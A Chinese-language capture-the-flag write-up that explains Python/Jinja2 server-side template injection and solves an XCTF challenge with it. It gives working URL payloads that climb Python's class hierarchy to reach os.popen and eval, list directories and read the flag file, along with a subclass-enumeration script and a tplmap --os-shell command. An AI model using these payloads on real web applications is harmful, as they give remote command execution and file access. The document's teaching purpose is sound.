起因#
在xctf
上做題遇到的
0x00 SSTI 漏洞簡介#
SSTI
:Server-Side Template Injection
伺服器端模板注入,屬於格式化字串漏洞之一。
注入就是格式化字串漏洞的一種體現
不管是二進制還是web
,很多的漏洞都能歸結為格式化字串漏洞
sql
注入就是格式化字串漏洞的最好代表,在本不該執行sql
語句的地方執行了sql
語句。
xss
的部分程式碼閉合注入也屬於這種方式。
什麼是模板注入呢?
寫html
程式碼的時候,為了方便,很多網站都會使用模板,先寫好一個html
檔案
當開發者想要這個模板對應的樣式時,可以直接用render_template_string
方法來呼叫模板
從而直接把這個樣式渲染出來,而模板注入,就是指將一串指令代替變數傳入模板讓它執行
0x01writeup#
首先我們來建立一個簡單的測試url
:
xxx.xxx.xxx.xxx:yyyyy/{{7*7}}
可以看到7*7
這條指令被執行了
題目說的是python template injection
,說明伺服器端腳本是python
的
那我們需要知道python
中的類內方法:
- class : 返回物件所屬的類別
- mro : 返回一個類別所繼承的基類元組,方法在解析時按照元組的順序解析。
- base : 返回該類別所繼承的基類
- base和mro都是用來尋找基類的
- subclasses : 每個新類別都保留了子類的引用,這個方法返回一個類中仍然可用的的引用的列表
- init : 類別的初始化方法
- globals : 對包含函數全域變數的字典的引用
首先我們查看所有模組:
xxx.xxx.xxx.xxx:yyyyy/%7B%7B[].__class__.__base__.__subclasses__()%7D%7D
這裡模組很多,為了後續我們方便使用模組,這裡我寫了一個小腳本,把對應的序號列出來:
import requests
import re
import html
url = "http://xxx.xxx.xxx.xxx:yyyyy/[].__class__.__base__.__subclasses__()%7D%7D"
cont = html.unescape(requests.get(url).content.decode("utf8"))
type_list = re.findall(r"<type '.*?'>|<class '.*?'>", cont, re.S)
print(type_list)
for i in range(len(type_list)):
print(i, type_list[i])
效果如下:
這裡可以使用catch_warnings
模組的.__init__.func_globals.keys()
的linecache
函數來呼叫os
模組
xxx.xxx.xxx.xxx:yyyyy/%7B%7B().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22ls%22).read()'%20)%7D%7D
也可以使用os
的printer
函數來使用os.popen
函數執行命令行語句
xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()%7D%7D
然後繼續使用os.popen
執行cat fl4g
命令顯示fl4g
檔案內容:
xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()%7D%7D
或者直接使用os
模組的listdir
方法來尋找flag
檔案:
xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')%7D%7D
然後使用file
方法來讀取fl4g
:
xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()%7D%7D
最後讀取內容如下:
本題也可以使用服務端模板注入工具tplmap
使用python2
環境,指定url
加上--os-shell
參數直接獲得目標主機shell
:
python tplmap.py -u "http://xxx.xxx.xxx.xxx:yyyyy/*" --os-shell
本文完。
參考文章:
- 從零學習 flask 模板注入
- 一篇文章帶你理解漏洞之 SSTI 漏洞
- python 模板注入
- Flask/Jinja2 SSTI && Python 沙箱逃逸基礎
- EndermaN 同學的 writeup